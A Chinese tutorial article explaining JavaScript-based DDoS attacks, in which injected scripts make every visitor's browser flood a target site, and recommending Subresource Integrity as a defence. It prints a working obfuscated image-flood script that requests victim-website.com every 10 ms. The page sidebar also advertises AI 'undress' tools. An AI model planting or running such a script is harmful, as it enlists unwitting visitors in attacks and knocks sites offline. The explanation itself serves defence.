Home Operation and Maintenance Safety In-depth analysis of JavaScript-based DDOS attacks

In-depth analysis of JavaScript-based DDOS attacks

Dec 10, 2019 pm 05:34 PM
ddos javascript Analyze based on attack

In-depth analysis of JavaScript-based DDOS attacks

最古老、最普遍、却又最可怕的攻击非DDoS攻击莫属。

在传统的DDoS攻击中,攻击者会控制大量的傀儡机,然后向目标服务器发送大量请求,阻止合法用户访问网站。

然而,最近几年DDoS攻击技术不断推陈出新:攻击者用一种新型且很有趣的方式欺骗用户参与到攻击活动中:使用恶意的JavaScript欺骗用户参与DDoS攻击。

基于JavaScript的DDOS攻击有一个非比寻常的特点:任何有浏览器的设备都可能参与攻击,其潜在攻击规模接近无限。

基于JavaScript的DDOS攻击原理

现代网站的交互作用大多数都是采用JavaScript。JavaScript脚本可直接注入HTML中,或者通过

In-depth analysis of JavaScript-based DDOS attacks

该脚本会在目标网页上生成一个图片按钮,图片按钮会指向“’victim-website.com” 网站。只要用户访问了含有该脚本的网页,那么他就会成为 “’victim-website.com”DDoS攻击中的一员。浏览器发出的每一个请求都是有效请求,于是该攻击又变成了Layer 7 攻击。

In-depth analysis of JavaScript-based DDOS attacks

由于是JS代码,所以通过查看网页源码,可以直接的看到攻击代码,发现是攻击网页。但如果以上的代码经过JShaman的混淆,JS代码会被保护起来,更难以被识别和发现:

var _0x9ea1=['victim\\x2dwebsite\\x2ecom','\\x2findex\\x2ephp\\x3f','floor','random','src','http\\x3a\\x2f\\x2f',
'\\x3dval'];(function(_0xa439d7,_0x7a3f17){var _0x2fcd4b=function(_0x1be501){while(--_0x1be501){_0xa439d7
['\\x70\\x75\\x73\\x68'](_0xa439d7['\\x73\\x68\\x69\\x66\\x74']());}};_0x2fcd4b(++_0x7a3f17);}(_0x9ea1,0xa1));
var _0x19ea=function(_0x3ac308,_0x2c1ecf){_0x3ac308=_0x3ac308-0x0;var _0x393163=_0x9ea1
[_0x3ac308];return _0x393163;};function imgflood(){var _0xcb2cd4=_0x19ea('0x0');var _0x3d1bbb=_0x19ea('0x1');
var _0x189885=new Image();var _0x2dfc3a=Math[_0x19ea('0x2')](Math[_0x19ea('0x3')]()*0x3e8);_0x189885
[_0x19ea('0x4')]=_0x19ea('0x5')+_0xcb2cd4+_0x3d1bbb+_0x2dfc3a+_0x19ea('0x6');}setInterval(imgflood,0xa);
Copy after login

如果攻击者入侵了一个网站,在网站js文件中嵌入了类似上面的恶意JavaScript脚本,那么该网站的每一个访客都将成为DDoS攻击中的一员。网站流量越高就意味着DDoS越严重。

如何防止这种攻击?

目前HTTP还没有相关的机制来阻止该脚本的运行,但W3C已经提出了名叫子资源完整性(SRI)的新功能,使用加密哈希值验证脚本,如果哈希值不匹配浏览器可以阻止其运行。

例如,如下脚本标签:

<script src="https://code.jquery.com/jquery-1.10.2.min.js">
Copy after login

浏览器会自动下载该.js文件,并且会不分青红皂白的运行它。即使该文件中被攻击者注入了恶意脚本,浏览器也不会识别(也识别不出)。然而如果网站发现了哈希值验证脚本不匹配,子资源完整性(SRI)会告诉浏览器不要运行该脚本。

In-depth analysis of JavaScript-based DDOS attacks

建议网站管理员将添加这一标签添加到服务器上,用以保护其用户不被利用。

推荐相关教程:web服务器安全

The above is the detailed content of In-depth analysis of JavaScript-based DDOS attacks. For more information, please follow other related articles on the PHP Chinese website!

Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

AI Hentai Generator

AI Hentai Generator

Generate AI Hentai for free.

Hot Article

R.E.P.O. Energy Crystals Explained and What They Do (Yellow Crystal)
4 weeks ago By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Best Graphic Settings
4 weeks ago By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. How to Fix Audio if You Can't Hear Anyone
1 months ago By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Chat Commands and How to Use Them
1 months ago By 尊渡假赌尊渡假赌尊渡假赌

Hot Tools

Notepad++7.3.1

Notepad++7.3.1

Easy-to-use and free code editor

SublimeText3 Chinese version

SublimeText3 Chinese version

Chinese version, very easy to use

Zend Studio 13.0.1

Zend Studio 13.0.1

Powerful PHP integrated development environment

Dreamweaver CS6

Dreamweaver CS6

Visual web development tools

SublimeText3 Mac version

SublimeText3 Mac version

God-level code editing software (SublimeText3)

How to implement an online speech recognition system using WebSocket and JavaScript How to implement an online speech recognition system using WebSocket and JavaScript Dec 17, 2023 pm 02:54 PM

How to use WebSocket and JavaScript to implement an online speech recognition system Introduction: With the continuous development of technology, speech recognition technology has become an important part of the field of artificial intelligence. The online speech recognition system based on WebSocket and JavaScript has the characteristics of low latency, real-time and cross-platform, and has become a widely used solution. This article will introduce how to use WebSocket and JavaScript to implement an online speech recognition system.

Vue Development Notes: Avoid Common Security Vulnerabilities and Attacks Vue Development Notes: Avoid Common Security Vulnerabilities and Attacks Nov 22, 2023 am 09:44 AM

Vue is a popular JavaScript framework that is widely used in web development. As the use of Vue continues to increase, developers need to pay attention to security issues to avoid common security vulnerabilities and attacks. This article will discuss the security matters that need to be paid attention to in Vue development to help developers better protect their applications from attacks. Validating user input In Vue development, validating user input is crucial. User input is one of the most common sources of security vulnerabilities. When handling user input, developers should always

WebSocket and JavaScript: key technologies for implementing real-time monitoring systems WebSocket and JavaScript: key technologies for implementing real-time monitoring systems Dec 17, 2023 pm 05:30 PM

WebSocket and JavaScript: Key technologies for realizing real-time monitoring systems Introduction: With the rapid development of Internet technology, real-time monitoring systems have been widely used in various fields. One of the key technologies to achieve real-time monitoring is the combination of WebSocket and JavaScript. This article will introduce the application of WebSocket and JavaScript in real-time monitoring systems, give code examples, and explain their implementation principles in detail. 1. WebSocket technology

How to use JavaScript and WebSocket to implement a real-time online ordering system How to use JavaScript and WebSocket to implement a real-time online ordering system Dec 17, 2023 pm 12:09 PM

Introduction to how to use JavaScript and WebSocket to implement a real-time online ordering system: With the popularity of the Internet and the advancement of technology, more and more restaurants have begun to provide online ordering services. In order to implement a real-time online ordering system, we can use JavaScript and WebSocket technology. WebSocket is a full-duplex communication protocol based on the TCP protocol, which can realize real-time two-way communication between the client and the server. In the real-time online ordering system, when the user selects dishes and places an order

How to implement an online reservation system using WebSocket and JavaScript How to implement an online reservation system using WebSocket and JavaScript Dec 17, 2023 am 09:39 AM

How to use WebSocket and JavaScript to implement an online reservation system. In today's digital era, more and more businesses and services need to provide online reservation functions. It is crucial to implement an efficient and real-time online reservation system. This article will introduce how to use WebSocket and JavaScript to implement an online reservation system, and provide specific code examples. 1. What is WebSocket? WebSocket is a full-duplex method on a single TCP connection.

JavaScript and WebSocket: Building an efficient real-time weather forecasting system JavaScript and WebSocket: Building an efficient real-time weather forecasting system Dec 17, 2023 pm 05:13 PM

JavaScript and WebSocket: Building an efficient real-time weather forecast system Introduction: Today, the accuracy of weather forecasts is of great significance to daily life and decision-making. As technology develops, we can provide more accurate and reliable weather forecasts by obtaining weather data in real time. In this article, we will learn how to use JavaScript and WebSocket technology to build an efficient real-time weather forecast system. This article will demonstrate the implementation process through specific code examples. We

How to use insertBefore in javascript How to use insertBefore in javascript Nov 24, 2023 am 11:56 AM

Usage: In JavaScript, the insertBefore() method is used to insert a new node in the DOM tree. This method requires two parameters: the new node to be inserted and the reference node (that is, the node where the new node will be inserted).

Simple JavaScript Tutorial: How to Get HTTP Status Code Simple JavaScript Tutorial: How to Get HTTP Status Code Jan 05, 2024 pm 06:08 PM

JavaScript tutorial: How to get HTTP status code, specific code examples are required. Preface: In web development, data interaction with the server is often involved. When communicating with the server, we often need to obtain the returned HTTP status code to determine whether the operation is successful, and perform corresponding processing based on different status codes. This article will teach you how to use JavaScript to obtain HTTP status codes and provide some practical code examples. Using XMLHttpRequest

See all articles